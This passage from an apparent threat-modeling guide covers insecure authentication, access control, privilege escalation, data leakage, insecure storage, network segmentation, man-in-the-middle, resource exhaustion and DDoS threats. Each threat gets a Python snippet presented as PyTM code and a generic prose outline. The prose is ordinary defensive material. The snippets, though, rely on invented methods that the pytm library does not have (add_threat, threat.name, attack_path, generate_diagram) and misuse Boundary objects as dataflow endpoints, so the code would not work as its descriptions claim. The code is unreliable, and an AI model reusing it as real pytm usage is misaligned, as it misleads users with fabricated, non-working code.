requests and verification.\n\n2. Credential Storage:\n   - Stores user credentials securely.\n   - Data Flow: Storing and retrieving user credentials.\n\n3. User Interface:\n   - Provides a platform for user interaction and login.\n   - Data Flow: User input of credentials and authentication responses.\n\nInteractions:\n1. Attackers:\n   - Utilizes brute-force techniques or exploits stolen credentials to gain unauthorized access to the system.\n   - Attempts to access restricted resources or perform malicious activities.\n\n2. System Administrator:\n   - Implements weak password policies or authentication mechanisms that can be easily exploited.\n   - Fails to enforce multi-factor authentication or regular password updates.\n\n3. User:\n   - Enters credentials during the login process, which are sent to the authentication system for verification.\n   - May fall victim to phishing attacks, leading to the disclosure of their credentials.\n\n4. Authentication System:\n   - Verifies user credentials against stored values and grants access based on authentication policies.\n   - Stores and retrieves user credentials securely.\n\n5. Credential Storage:\n   - Safely stores user credentials using appropriate encryption and hashing techniques.\n   - Protects credentials from unauthorized access or disclosure.\n\n```\n\n\n### Insecure authentication protocols\n\n#### **PyTM**\n\nThis code creates a threat model using PyTM and represents the \"Insecure Authentication Protocols\" threat scenario. It includes actors such as \"Attacker\" and \"User,\" a server representing the application server, and a datastore representing the user's data.\n\nThe threat model defines the \"Insecure Authentication Protocols\" threat and includes attack paths such as \"Eavesdropping\" and \"Man-in-the-Middle Attack.\" It also defines the impact of these threats, such as unauthorized access to user data and data breaches.\n\nThe code generates a threat model diagram in PNG format, named \"insecure_authentication_protocols_threat_model.png.\"\n\n```\nfrom pytm import TM, Server, Datastore, Actor\n\n# Create a new threat model\ntm = TM(\"Insecure Authentication Protocols Threat Model\")\n\n# Create actors\nattacker = Actor(\"Attacker\")\nuser = Actor(\"User\")\n\n# Create server and datastore\nserver = Server(\"Application Server\")\ndatastore = Datastore(\"User Datastore\")\n\n# Define insecure authentication protocols threat\ntm.add_threat()\ntm.threat.name(\"Insecure Authentication Protocols\")\ntm.threat.description(\"Threat of using insecure authentication protocols\")\n\n# Define attack paths\ntm.attack_path(attacker, server, \"Eavesdropping\")\ntm.attack_path(attacker, server, \"Man-in-the-Middle Attack\")\n\n# Define impact\ntm.data_flow(server, datastore, \"Unauthorized Access to User Data\")\ntm.data_flow(server, datastore, \"Data Breach and Exposure of Sensitive Information\")\n\n# Generate the threat model diagram\ntm.generate_diagram(\"insecure_authentication_protocols_threat_model.png\")\n```\n\n\n#### **Microsoft Threat Model**\n\n```\nThreat Model Diagram for Insecure Authentication Protocols:\n\nConcepts:\n- Authentication Protocols: Standards or mechanisms used for verifying user identities during the authentication process.\n- Insecure Authentication Protocols: Protocols that are susceptible to security vulnerabilities or can be easily exploited.\n- Man-in-the-Middle (MitM) Attacks: Attacks where an attacker intercepts and modifies communication between two parties.\n- Unauthorized Access: Gaining access to a system or application without proper authorization.\n\nUsers:\n1. Attackers:\n   - Threat: Exploitation of Insecure Authentication Protocols\n   - Attempts to intercept or manipulate authentication traffic to gain unauthorized access.\n\n2. System Administrator:\n   - Threat: Configuration of Insecure Authentication Protocols\n   - Misconfigures authentication protocols or fails to implement secure alternatives.\n\n3. User:\n   - Threat: Exposure of Credentials\n   - Communicates with the system using insecure authentication protocols, which can lead to the exposure of credentials.\n\nComponents:\n1. Authentication System:\n   - Manages user authentication and access controls.\n   - Data Flow: User authentication requests and verification.\n\n2. Authentication Protocol:\n   - Specifies the rules and procedures for authenticating users.\n   - Data Flow: Exchange of authentication messages between the user and the authentication system.\n\n3. Attacker's System:\n   - Represents the system used by attackers to intercept or manipulate authentication traffic.\n   - Data Flow: Interception and modification of authentication messages.\n\nInteractions:\n1. Attackers:\n   - Exploits vulnerabilities in insecure authentication protocols to intercept or modify authentication messages.\n   - Attempts to obtain user credentials or gain unauthorized access to the system.\n\n2. System Administrator:\n   - Misconfigures authentication protocols, such as using weak encryption or outdated protocols.\n   - Fails to implement secure alternatives, such as using strong cryptographic algorithms or multi-factor authentication.\n\n3. User:\n   - Initiates the authentication process by sending authentication requests to the system.\n   - Communicates with the system using insecure authentication protocols, which can be intercepted by attackers.\n\n4. Authentication System:\n   - Verifies user credentials and grants access based on the authentication protocol in use.\n   - May be vulnerable to attacks if insecure authentication protocols are implemented or misconfigured.\n\n5. Authentication Protocol:\n   - Facilitates the exchange of authentication messages between the user and the authentication system.\n   - Can be compromised if it is insecure or susceptible to attacks like Man-in-the-Middle.\n\n```\n\n\n### Insufficient access controls\t\n\n#### **PyTM**\n\nThis code creates a threat model using PyTM and represents the \"Insufficient Access Controls\" threat scenario. It includes actors such as \"Attacker\" and \"User,\" a server representing the application server, and a datastore representing the sensitive data.\n\nThe threat model defines the \"Insufficient Access Controls\" threat and includes attack paths such as \"Unauthorized Access\" by the attacker and \"Privilege Escalation\" by the user. It also defines the impact of these threats, such as unauthorized access to sensitive data and data leakage.\n\nThe code generates a threat model diagram in PNG format, named \"insufficient_access_controls_threat_model.png.\"\n\n\n```\nfrom pytm import TM, Actor, Server, Datastore\n\n# Create a new threat model\ntm = TM(\"Insufficient Access Controls Threat Model\")\n\n# Create actors\nattacker = Actor(\"Attacker\")\nuser = Actor(\"User\")\n\n# Create server and datastore\nserver = Server(\"Application Server\")\ndatastore = Datastore(\"Sensitive Datastore\")\n\n# Define insufficient access controls threat\ntm.add_threat()\ntm.threat.name(\"Insufficient Access Controls\")\ntm.threat.description(\"Threat of insufficient access controls on sensitive data\")\n\n# Define attack paths\ntm.attack_path(attacker, server, \"Unauthorized Access\")\ntm.attack_path(user, server, \"Privilege Escalation\")\n\n# Define impact\ntm.data_flow(server, datastore, \"Unauthorized Access to Sensitive Data\")\ntm.data_flow(server, datastore, \"Data Leakage\")\n\n# Generate the threat model diagram\ntm.generate_diagram(\"insufficient_access_controls_threat_model.png\")\n```\n\n#### **Microsoft Threat Model**\n\n```\nThreat Model Diagram for Insufficient Access Controls:\n\nConcepts:\n- Access Controls: Mechanisms used to enforce authorized access to resources.\n- Insufficient Access Controls: Inadequate or misconfigured access controls that allow unauthorized access to resources.\n- Unauthorized Access: Gaining access to a resource without proper authorization.\n- Privilege Escalation: Exploiting vulnerabilities to gain higher levels of access privileges.\n\nUsers:\n1. Attackers:\n   - Threat: Unauthorized Access or Privilege Escalation\n   - Attempts to bypass or exploit insufficient access controls to gain unauthorized access to resources or escalate privileges.\n\n2. System Administrator:\n   - Threat: Misconfiguration of Access Controls\n   - Misconfigures access control settings, allowing unauthorized access or granting excessive privileges.\n\n3. User:\n   - Threat: Unauthorized Access to Restricted Resources\n   - Attempts to access resources they are not authorized to access due to insufficient access controls.\n\nComponents:\n1. Resource:\n   - Represents a system or data that needs to be protected.\n   - Data Flow: Access requests and responses.\n\n2. Access Control Mechanisms:\n   - Controls access to resources based on defined policies.\n   - Data Flow: Authorization checks and access grants or denials.\n\nInteractions:\n1. Attackers:\n   - Exploits vulnerabilities or misconfigurations in access control mechanisms to gain unauthorized access.\n   - May attempt privilege escalation to gain higher levels of access.\n\n2. System Administrator:\n   - Misconfigures access control settings, such as assigning incorrect permissions or not properly segregating access.\n   - Fails to regularly review and update access control policies and configurations.\n\n3. User:\n   - Requests access to resources through the system.\n   - May attempt to access restricted resources by bypassing or circumventing access controls.\n\n4. Resource:\n   - Contains sensitive data or functionality that needs to be protected.\n   - Enforces access control policies to determine whether a user should be granted access.\n\n5. Access Control Mechanisms:\n   - Enforce access control policies and determine whether a user has sufficient privileges to access a resource.\n   - May be misconfigured or contain vulnerabilities that can be exploited by attackers.\n\n```\n\n### Improper privilege escalation\t\n\n#### **PyTM**\n\nThis code creates a threat model using PyTM and represents the \"Improper Privilege Escalation\" threat scenario. It includes actors such as \"Attacker\" and \"User\" and a server representing the application server.\n\nThe threat model defines the \"Improper Privilege Escalation\" threat and includes attack paths such as \"Exploiting Vulnerability\" by the attacker and \"Abusing User Privileges\" by the user.\n\nThe code generates a threat model diagram in PNG format, named \"improper_privilege_escalation_threat_model.png.\"\n\n\n\n```\nfrom pytm import TM, Actor, Server\n\n# Create a new threat model\ntm = TM(\"Improper Privilege Escalation Threat Model\")\n\n# Create actors\nattacker = Actor(\"Attacker\")\nuser = Actor(\"User\")\n\n# Create server\nserver = Server(\"Application Server\")\n\n# Define improper privilege escalation threat\ntm.add_threat()\ntm.threat.name(\"Improper Privilege Escalation\")\ntm.threat.description(\"Threat of improper privilege escalation in the application\")\n\n# Define attack paths\ntm.attack_path(attacker, server, \"Exploiting Vulnerability\")\ntm.attack_path(user, server, \"Abusing User Privileges\")\n\n# Generate the threat model diagram\ntm.generate_diagram(\"improper_privilege_escalation_threat_model.png\")\n```\n\n\n#### **Microsoft Threat Model**\n\n```\nThreat Model Diagram for Improper Privilege Escalation:\n\nConcepts:\n- Privilege Escalation: Unauthorized elevation of access privileges to perform actions beyond the authorized scope.\n- Authorization Levels: Different levels of access privileges granted to users or roles.\n- Insufficient Privilege Checks: Inadequate validation of user permissions when executing privileged actions.\n- Unauthorized Actions: Performing actions that are not authorized or exceeding the granted privileges.\n\nUsers:\n1. Attackers:\n   - Threat: Unauthorized Privilege Escalation\n   - Attempts to exploit vulnerabilities to gain higher levels of access privileges and perform unauthorized actions.\n\n2. System Administrator:\n   - Threat: Misconfiguration of Privilege Levels\n   - Misconfigures access controls or fails to properly assign and manage privilege levels.\n\n3. User:\n   - Threat: Unauthorized Access to Privileged Actions\n   - Attempts to perform actions beyond their authorized scope by exploiting privilege escalation vulnerabilities.\n\nComponents:\n1. User Roles:\n   - Represent different roles or user groups with distinct privilege levels.\n   - Data Flow: Assignment of roles and associated permissions.\n\n2. Privilege Validation:\n   - Validates user permissions before executing privileged actions.\n   - Data Flow: User permissions check and authorization decision.\n\nInteractions:\n1. Attackers:\n   - Exploits vulnerabilities or weaknesses to gain higher levels of access privileges.\n   - Performs unauthorized actions by bypassing or manipulating privilege validation mechanisms.\n\n2. System Administrator:\n   - Misconfigures privilege levels, granting excessive permissions or failing to properly assign roles.\n   - Fails to implement proper privilege validation mechanisms or neglects regular review and updates.\n\n3. User:\n   - Requests to perform actions within their authorized privileges.\n   - May attempt to escalate privileges by exploiting vulnerabilities in the system.\n\n4. User Roles:\n   - Define the access privileges associated with different user groups or roles.\n   - Assigns and manages roles based on user responsibilities and organizational policies.\n\n5. Privilege Validation:\n   - Validates user permissions before allowing execution of privileged actions.\n   - May have vulnerabilities or lack proper checks, enabling unauthorized privilege escalation.\n\n```\n\n\n### Data leakage or unauthorized access\n\n#### **PyTM**\n\nThis code creates a threat model using PyTM and represents the \"Data Leakage or Unauthorized Access\" threat scenario. It includes actors such as \"Attacker\" and \"User\" and a datastore representing sensitive data.\n\nThe threat model defines the \"Data Leakage or Unauthorized Access\" threat and includes attack paths such as \"Exploiting Vulnerability\" by the attacker and \"Unauthorized Access\" by the user.\n\nThe code generates a threat model diagram in PNG format, named \"data_leakage_unauthorized_access_threat_model.png.\"\n\n```\nfrom pytm import TM, Actor, Datastore\n\n# Create a new threat model\ntm = TM(\"Data Leakage or Unauthorized Access Threat Model\")\n\n# Create actors\nattacker = Actor(\"Attacker\")\nuser = Actor(\"User\")\n\n# Create datastore\ndatastore = Datastore(\"Sensitive Data\")\n\n# Define data leakage or unauthorized access threat\ntm.add_threat()\ntm.threat.name(\"Data Leakage or Unauthorized Access\")\ntm.threat.description(\"Threat of unauthorized access or leakage of sensitive data\")\n\n# Define attack paths\ntm.attack_path(attacker, datastore, \"Exploiting Vulnerability\")\ntm.attack_path(user, datastore, \"Unauthorized Access\")\n\n# Generate the threat model diagram\ntm.generate_diagram(\"data_leakage_unauthorized_access_threat_model.png\")\n```\n\n#### **Microsoft Threat Model**\n\n```\nThreat Model Diagram for Data Leakage or Unauthorized Access:\n\nConcepts:\n- Data Leakage: Unintentional or unauthorized disclosure of sensitive data to unauthorized parties.\n- Unauthorized Access: Gaining access to data or systems without proper authorization.\n- Data Encryption: Process of converting sensitive data into a format that is unreadable without the appropriate decryption key.\n- Data Loss Prevention (DLP): Techniques and controls implemented to prevent the leakage of sensitive data.\n\nUsers:\n1. Attackers:\n   - Threat: Unauthorized Access or Data Leakage\n   - Attempts to gain unauthorized access to sensitive data or exploit vulnerabilities to leak data.\n\n2. System Administrator:\n   - Threat: Misconfiguration of Access Controls or Encryption\n   - Misconfigures access controls, leaving data vulnerable to unauthorized access.\n   - Fails to implement or properly configure data encryption mechanisms.\n\n3. User:\n   - Threat: Accidental Data Leakage\n   - Unintentionally exposes sensitive data through insecure practices or misconfigurations.\n\nComponents:\n1. Data Storage:\n   - Represents storage systems or databases containing sensitive data.\n   - Data Flow: Storage and retrieval of sensitive data.\n\n2. Access Controls:\n   - Mechanisms to control and enforce authorized access to data.\n   - Data Flow: Authentication and authorization checks.\n\n3. Data Encryption:\n   - Techniques and algorithms used to protect sensitive data by encrypting it.\n   - Data Flow: Encryption and decryption processes.\n\n4. Data Loss Prevention (DLP):\n   - Techniques and controls to prevent unauthorized data leakage.\n   - Data Flow: Data leakage prevention measures and monitoring.\n\nInteractions:\n1. Attackers:\n   - Exploits vulnerabilities to gain unauthorized access to sensitive data.\n   - May use various techniques to extract and exfiltrate the data without detection.\n\n2. System Administrator:\n   - Misconfigures access controls, granting unauthorized users access to sensitive data.\n   - Fails to implement or properly configure data encryption, leaving data vulnerable to unauthorized access.\n\n3. User:\n   - May accidentally expose sensitive data through insecure practices, such as sharing or mishandling information.\n\n4. Data Storage:\n   - Stores sensitive data and requires robust access controls and encryption to protect it.\n   - May be vulnerable to unauthorized access if misconfigured or lacking proper security measures.\n\n5. Access Controls:\n   - Enforces authorized access to data based on authentication and authorization checks.\n   - Misconfigurations or vulnerabilities in access controls may result in unauthorized access.\n\n6. Data Encryption:\n   - Protects sensitive data by converting it into an unreadable format without the decryption key.\n   - Proper implementation and configuration of encryption algorithms are necessary to safeguard the data.\n\n7. Data Loss Prevention (DLP):\n   - Implements techniques and controls to prevent unauthorized data leakage.\n   - Monitors data flows and applies policies to detect and prevent potential data leakage incidents.\n```\n\n\n### Insecure data storage\n\n#### **PyTM**\n\nThis code creates a threat model using PyTM and represents the \"Insecure Data Storage\" threat scenario. It includes actors such as \"Attacker\" and \"User\" and a datastore representing sensitive data.\n\nThe threat model defines the \"Insecure Data Storage\" threat and includes attack paths such as \"Exploiting Storage Vulnerability\" by the attacker and \"Unauthorized Access to Stored Data\" by the user.\n\nThe code generates a threat model diagram in PNG format, named \"insecure_data_storage_threat_model.png.\"\n\n```\nfrom pytm import TM, Actor, Datastore\n\n# Create a new threat model\ntm = TM(\"Insecure Data Storage Threat Model\")\n\n# Create actors\nattacker = Actor(\"Attacker\")\nuser = Actor(\"User\")\n\n# Create datastore\ndatastore = Datastore(\"Sensitive Data\")\n\n# Define insecure data storage threat\ntm.add_threat()\ntm.threat.name(\"Insecure Data Storage\")\ntm.threat.description(\"Threat of insecure storage of sensitive data\")\n\n# Define attack paths\ntm.attack_path(attacker, datastore, \"Exploiting Storage Vulnerability\")\ntm.attack_path(user, datastore, \"Unauthorized Access to Stored Data\")\n\n# Generate the threat model diagram\ntm.generate_diagram(\"insecure_data_storage_threat_model.png\")\n```\n\n#### **Microsoft Threat Model**\n\n```\nThreat Model Diagram for Insecure Data Storage:\n\nConcepts:\n- Insecure Data Storage: Storing sensitive data in an unprotected or vulnerable manner.\n- Data Encryption: Process of converting sensitive data into a format that is unreadable without the appropriate decryption key.\n- Data Leakage: Unintentional or unauthorized disclosure of sensitive data.\n- Data Access Controls: Mechanisms used to control and enforce authorized access to data.\n\nUsers:\n1. Attackers:\n   - Threat: Unauthorized Data Access or Data Leakage\n   - Attempts to gain unauthorized access to sensitive data or exploit vulnerabilities to leak data.\n\n2. System Administrator:\n   - Threat: Misconfiguration of Data Storage Security\n   - Misconfigures data storage settings, leaving sensitive data vulnerable to unauthorized access.\n   - Fails to implement or properly configure data encryption mechanisms.\n\n3. User:\n   - Threat: Accidental Data Leakage\n   - Unintentionally exposes sensitive data through insecure practices or misconfigurations.\n\nComponents:\n1. Data Storage:\n   - Represents storage systems or databases where sensitive data is stored.\n   - Data Flow: Storage and retrieval of sensitive data.\n\n2. Data Encryption:\n   - Techniques and algorithms used to protect sensitive data by encrypting it.\n   - Data Flow: Encryption and decryption processes.\n\n3. Data Access Controls:\n   - Mechanisms used to control and enforce authorized access to data.\n   - Data Flow: Authentication and authorization checks.\n\nInteractions:\n1. Attackers:\n   - Exploits vulnerabilities to gain unauthorized access to sensitive data.\n   - May use various techniques to extract and exfiltrate the data without detection.\n\n2. System Administrator:\n   - Misconfigures data storage security settings, granting unauthorized users access to sensitive data.\n   - Fails to implement or properly configure data encryption mechanisms, leaving data vulnerable to unauthorized access.\n\n3. User:\n   - May accidentally expose sensitive data through insecure practices, such as sharing or mishandling information.\n\n4. Data Storage:\n   - Stores sensitive data and requires robust security measures to protect it.\n   - May be vulnerable to unauthorized access if misconfigured or lacking proper security controls.\n\n5. Data Encryption:\n   - Protects sensitive data by converting it into an unreadable format without the decryption key.\n   - Proper implementation and configuration of encryption algorithms are necessary to safeguard the data.\n\n6. Data Access Controls:\n   - Enforces authorized access to data based on authentication and authorization checks.\n   - Misconfigurations or vulnerabilities in access controls may result in unauthorized access.\n```\n\n\n### Inadequate network segmentation\n\n#### **PyTM**\n\nThis code creates a threat model using PyTM and represents the \"Inadequate Network Segmentation\" threat scenario. It includes actors such as \"Attacker,\" \"Internal User,\" and \"External User,\" and defines boundaries for the internal and external networks.\n\nThe threat model defines the \"Inadequate Network Segmentation\" threat and includes dataflows representing the flow of sensitive data, unauthorized access, exfiltration of sensitive data, and command and control.\n\nThe code generates a threat model diagram in PNG format, named \"inadequate_network_segmentation_threat_model.png.\"\n\n\n```\nfrom pytm import TM, Actor, Dataflow, Boundary\n\n# Create a new threat model\ntm = TM(\"Inadequate Network Segmentation Threat Model\")\n\n# Create actors\nattacker = Actor(\"Attacker\")\ninternalUser = Actor(\"Internal User\")\nexternalUser = Actor(\"External User\")\n\n# Create boundaries\ninternalNetwork = Boundary(\"Internal Network\")\nexternalNetwork = Boundary(\"External Network\")\n\n# Define dataflows\ndataflow1 = Dataflow(internalUser, internalNetwork, \"Sensitive Data Flow\")\ndataflow2 = Dataflow(externalUser, internalNetwork, \"Unauthorized Access\")\ndataflow3 = Dataflow(internalNetwork, externalNetwork, \"Exfiltration of Sensitive Data\")\ndataflow4 = Dataflow(internalNetwork, externalNetwork, \"Command and Control\")\n\n# Define inadequate network segmentation threat\ntm.add_threat()\ntm.threat.name(\"Inadequate Network Segmentation\")\ntm.threat.description(\"Threat of inadequate segmentation between internal and external networks\")\n\n# Define attack paths\ntm.attack_path(attacker, dataflow2, \"Exploiting Insufficient Segmentation\")\ntm.attack_path(attacker, dataflow3, \"Exfiltration of Sensitive Data\")\ntm.attack_path(attacker, dataflow4, \"Command and Control\")\n\n# Generate the threat model diagram\ntm.generate_diagram(\"inadequate_network_segmentation_threat_model.png\")\n```\n\n#### **Microsoft Threat Model**\n\n```\nThreat Model Diagram for Inadequate Network Segmentation:\n\nConcepts:\n- Network Segmentation: Dividing a network into smaller, isolated segments to enhance security and control access.\n- Inadequate Network Segmentation: Insufficient or improper separation of network segments, allowing unauthorized access or lateral movement.\n- Network Firewall: A security device that monitors and filters network traffic based on predetermined security rules.\n- Data Flow: The movement of data between different network segments.\n\nUsers:\n1. Attackers:\n   - Threat: Unauthorized Access or Lateral Movement\n   - Attempts to gain unauthorized access to sensitive data or systems within different network segments.\n   - Exploits weaknesses in network segmentation to move laterally and escalate privileges.\n\n2. System Administrator:\n   - Threat: Misconfiguration of Network Segmentation\n   - Misconfigures network segmentation rules, allowing unauthorized access between network segments.\n   - Fails to implement proper firewall rules to restrict network traffic.\n\nComponents:\n1. Network Segments:\n   - Represents isolated network segments within the infrastructure.\n   - Data Flow: Controlled exchange of data between segments.\n\n2. Network Firewall:\n   - Security device placed at the boundaries between network segments.\n   - Controls inbound and outbound network traffic based on predetermined rules.\n   - Data Flow: Filtering and routing of network traffic.\n\nInteractions:\n1. Attackers:\n   - Exploit weaknesses in network segmentation to gain unauthorized access to sensitive data or systems.\n   - May attempt lateral movement within the network, exploiting inadequate segmentation.\n\n2. System Administrator:\n   - Misconfigures network segmentation rules, allowing unauthorized access between network segments.\n   - Fails to properly configure firewall rules, resulting in ineffective traffic filtering and segmentation.\n\n3. Network Segments:\n   - Represent isolated segments within the network infrastructure.\n   - Require proper configuration and segmentation rules to ensure authorized access and prevent unauthorized movement.\n\n4. Network Firewall:\n   - Controls the flow of network traffic between segments based on predefined security rules.\n   - Misconfiguration or inadequate rule set may lead to unauthorized access or lateral movement.\n\n```\n\n### Man-in-the-Middle attacks\n\n#### **PyTM**\n\nThis code creates a threat model using PyTM and represents the \"Man-in-the-Middle (MitM) Attacks\" threat scenario. It includes actors such as \"Attacker,\" \"Client,\" and \"Server,\" and defines boundaries for the client and server components.\n\nThe threat model defines the \"Man-in-the-Middle Attacks\" threat and includes a dataflow representing the flow of sensitive data between the client and server.\n\nThe code generates a threat model diagram in PNG format, named \"man_in_the_middle_attacks_threat_model.png.\"\n\n\n\n```\nfrom pytm import TM, Actor, Dataflow, Boundary\n\n# Create a new threat model\ntm = TM(\"Man-in-the-Middle Attacks Threat Model\")\n\n# Create actors\nattacker = Actor(\"Attacker\")\nclient = Actor(\"Client\")\nserver = Actor(\"Server\")\n\n# Create boundaries\nclientBoundary = Boundary(\"Client Boundary\")\nserverBoundary = Boundary(\"Server Boundary\")\n\n# Define dataflows\ndataflow1 = Dataflow(client, server, \"Sensitive Data Flow\")\n\n# Define Man-in-the-Middle attack threat\ntm.add_threat()\ntm.threat.name(\"Man-in-the-Middle (MitM) Attacks\")\ntm.threat.description(\"Threat of an attacker intercepting and tampering with communication between client and server\")\n\n# Define attack paths\ntm.attack_path(attacker, dataflow1, \"Intercepting and Tampering with Communication\")\n\n# Generate the threat model diagram\ntm.generate_diagram(\"man_in_the_middle_attacks_threat_model.png\")\n```\n\n#### **Microsoft Threat Model**\n\n```\nThreat Model Diagram for Man-in-the-Middle (MitM) Attacks:\n\nConcepts:\n- Man-in-the-Middle (MitM) Attack: A type of attack where an attacker intercepts communication between two parties to eavesdrop, modify, or inject malicious content.\n- Network Traffic Encryption: The process of encrypting network traffic to protect it from unauthorized interception or tampering.\n- Secure Communication Protocols: Protocols that provide secure and authenticated communication channels.\n- Data Flow: The exchange of data between communicating parties.\n\nUsers:\n1. Attackers:\n   - Threat: Intercept and Manipulate Communication\n   - Attempts to intercept network traffic between two parties and manipulate the data being transmitted.\n   - Uses various techniques, such as ARP spoofing or DNS spoofing, to position themselves as a \"man in the middle.\"\n\n2. System Administrator:\n   - Threat: Misconfiguration of Security Controls\n   - Fails to properly configure network security controls, allowing attackers to exploit vulnerabilities and perform MitM attacks.\n   - Does not enforce the use of secure communication protocols or encryption mechanisms.\n\n3. Users:\n   - Threat: Unencrypted Communication\n   - Engage in communication without proper encryption or secure communication protocols.\n   - May unknowingly connect to compromised networks or fall victim to MitM attacks.\n\nComponents:\n1. Communication Channel:\n   - Represents the medium through which parties communicate, such as network connections or wireless networks.\n   - Data Flow: Transmission of data between communicating parties.\n\n2. Secure Communication Protocols:\n   - Protocols that provide secure and authenticated communication channels, such as HTTPS, SSL/TLS, or VPN.\n   - Data Flow: Encrypted transmission of data between parties.\n\nInteractions:\n1. Attackers:\n   - Position themselves as a \"man in the middle\" by intercepting and manipulating network traffic.\n   - Exploit vulnerabilities in the communication channel or lack of encryption to eavesdrop, modify, or inject malicious content.\n\n2. System Administrator:\n   - Misconfigures network security controls, leaving communication channels vulnerable to MitM attacks.\n   - Fails to enforce the use of secure communication protocols or encryption mechanisms.\n\n3. Users:\n   - Engage in communication without using secure communication protocols or encryption.\n   - May unknowingly connect to compromised networks or fall victim to MitM attacks.\n\n4. Communication Channel:\n   - Represents the medium through which parties communicate.\n   - Vulnerable to interception and manipulation by attackers positioned as a \"man in the middle.\"\n\n5. Secure Communication Protocols:\n   - Provide secure and authenticated communication channels.\n   - Encryption and proper configuration of these protocols protect against MitM attacks.\n```\n\n\n### Resource exhaustion\t\n\n#### **PyTM**\n\nThis code creates a threat model using PyTM and represents the \"Resource Exhaustion\" threat scenario. It includes actors such as \"Attacker\" and \"Service\" and defines a dataflow between them.\n\nThe threat model defines the \"Resource Exhaustion\" threat and includes an attack path representing the attacker's ability to consume excessive resources, leading to service availability impact.\n\nThe code generates a threat model diagram in PNG format, named \"resource_exhaustion_threat_model.png.\"\n\n\n```\nfrom pytm import TM, Actor, Dataflow\n\n# Create a new threat model\ntm = TM(\"Resource Exhaustion Threat Model\")\n\n# Create actors\nattacker = Actor(\"Attacker\")\nservice = Actor(\"Service\")\n\n# Define dataflows\ndataflow = Dataflow(attacker, service, \"Data Flow\")\n\n# Define Resource Exhaustion threat\ntm.add_threat()\ntm.threat.name(\"Resource Exhaustion\")\ntm.threat.description(\"Threat of an attacker consuming excessive resources and impacting service availability\")\n\n# Define attack paths\ntm.attack_path(attacker, dataflow, \"Excessive Resource Consumption\")\n\n# Generate the threat model diagram\ntm.generate_diagram(\"resource_exhaustion_threat_model.png\")\n```\n\n#### **Microsoft Threat Model**\n\n```\nThreat Model Diagram for Resource Exhaustion:\n\nConcepts:\n- Resource Exhaustion: A type of attack where an attacker consumes excessive resources, such as CPU, memory, disk space, or network bandwidth, leading to service disruption or denial of service.\n- System Resources: Refers to the various computing resources available within a system, including CPU, memory, disk space, and network bandwidth.\n- Resource Management: The process of efficiently allocating and managing system resources.\n- Data Flow: The movement of data or requests that require system resources.\n\nUsers:\n1. Attackers:\n   - Threat: Resource Consumption\n   - Attempt to consume excessive system resources to cause service disruption or denial of service.\n   - Exploit vulnerabilities or design weaknesses to exhaust system resources.\n\n2. System Administrators:\n   - Threat: Inadequate Resource Management\n   - Fail to implement proper resource management techniques, allowing attackers to consume resources beyond their normal limits.\n   - Lack monitoring and control mechanisms to detect and mitigate resource exhaustion attacks.\n\nComponents:\n1. System Resources:\n   - Represents the various computing resources within a system, including CPU, memory, disk space, and network bandwidth.\n   - Data Flow: Requests or operations that require system resources.\n\n2. Resource Management:\n   - Techniques and mechanisms employed to efficiently allocate and manage system resources.\n   - Data Flow: Allocation and utilization of system resources.\n\nInteractions:\n1. Attackers:\n   - Conduct resource exhaustion attacks by overwhelming system resources.\n   - Exploit vulnerabilities or design weaknesses to maximize resource consumption.\n\n2. System Administrators:\n   - Implement resource management techniques to prevent resource exhaustion attacks.\n   - Monitor resource usage and detect abnormal resource consumption patterns.\n\n3. System Resources:\n   - Available computing resources required for normal system operation.\n   - Can be overwhelmed and exhausted by attackers consuming excessive resources.\n\n4. Resource Management:\n   - Controls and manages the allocation of system resources.\n   - Ensures efficient utilization and prevents resource exhaustion.\n```\n\n\n### Distributed DoS (DDoS) attacks\n\n#### **PyTM**\n\nThis code creates a threat model using PyTM and represents the \"Distributed Denial of Service (DDoS) Attacks\" threat scenario. It includes actors such as \"Attacker\" and \"Target\" and defines a dataflow between them.\n\nThe threat model defines the \"DDoS Attacks\" threat and includes an attack path representing the attacker overwhelming the target system with a high volume of requests, causing denial of service.\n\nThe code generates a threat model diagram in PNG format, named \"ddos_attacks_threat_model.png.\"\n\n```\nfrom pytm import TM, Actor, Dataflow\n\n# Create a new threat model\ntm = TM(\"DDoS Attacks Threat Model\")\n\n# Create actors\nattacker = Actor(\"Attacker\")\ntarget = Actor(\"Target\")\n\n# Define dataflows\ndataflow = Dataflow(attacker, target, \"Data Flow\")\n\n# Define DDoS Attacks threat\ntm.add_threat()\ntm.threat.name(\"DDoS Attacks\")\ntm.threat.description(\"Threat of an attacker overwhelming the target system with a high volume of requests, causing denial of service\")\n\n# Define attack paths\ntm.attack_path(attacker, dataflow, \"DDoS Attack\")\n\n# Generate the threat model diagram\ntm.generate_diagram(\"ddos_attacks_threat_model.png\")\n```\n\n#### **Microsoft Threat Model**\n\n```\nThreat Model Diagram for Distributed Denial of Service (DDoS) Attacks:\n\nConcepts:\n- Distributed Denial of Service (DDoS) Attack: A type of attack where multiple compromised systems, known as \"botnets,\" flood a target system with a high volume of traffic or requests, overwhelming its resources and causing service disruption or denial of service.\n- Botnet: A network of compromised computers or devices under the control of an attacker, used to launch DDoS attacks.\n- Traffic Amplification: Techniques used by attackers to magnify the volume of traffic generated by each compromised system in the botnet.\n- Resource Consumption: The depletion of system resources, such as network bandwidth, CPU, memory, or storage, due to the high volume of incoming traffic or requests.\n\nUsers:\n1. Attackers:\n   - Threat: DDoS Attack\n   - Control a botnet comprising multiple compromised systems.\n   - Coordinate the attack to flood the target system with a high volume of traffic or requests, causing service disruption or denial of service.\n   - Use traffic amplification techniques to maximize the impact of the attack.\n\n2. Target System:\n   - Threat: Service Disruption or Denial of Service\n   - Represents the system or service under attack.\n   - Receives a massive influx of traffic or requests from the botnet, causing resource exhaustion and rendering the system inaccessible.\n\nComponents:\n1. Botnet:\n   - Collection of compromised systems under the control of the attacker.\n   - Data Flow: Communication and coordination between the attacker and compromised systems for launching the DDoS attack.\n\n2. Traffic Amplification Techniques:\n   - Methods used by attackers to increase the volume of traffic generated by each compromised system.\n   - Data Flow: Manipulation of traffic to amplify its volume before being directed to the target system.\n\n3. Target System:\n   - Represents the system or service being targeted by the DDoS attack.\n   - Data Flow: Incoming traffic or requests that overwhelm the system's resources.\n\nInteractions:\n1. Attackers:\n   - Control the botnet and orchestrate the DDoS attack.\n   - Utilize traffic amplification techniques to maximize the impact of the attack.\n\n2. Botnet:\n   - Comprises compromised systems under the control of the attackers.\n   - Executes instructions from the attackers to generate and direct a high volume of traffic or requests to the target system.\n\n3. Traffic Amplification Techniques:\n   - Used by attackers to increase the volume of traffic generated by each compromised system.\n   - Amplify the traffic before it reaches the target system, magnifying the impact of the DDoS attack.\n\n4. Target System:\n   - Represents the system or service under attack.\n   - Overwhelmed by the high volume of incoming traffic or requests, leading to resource exhaustion and service 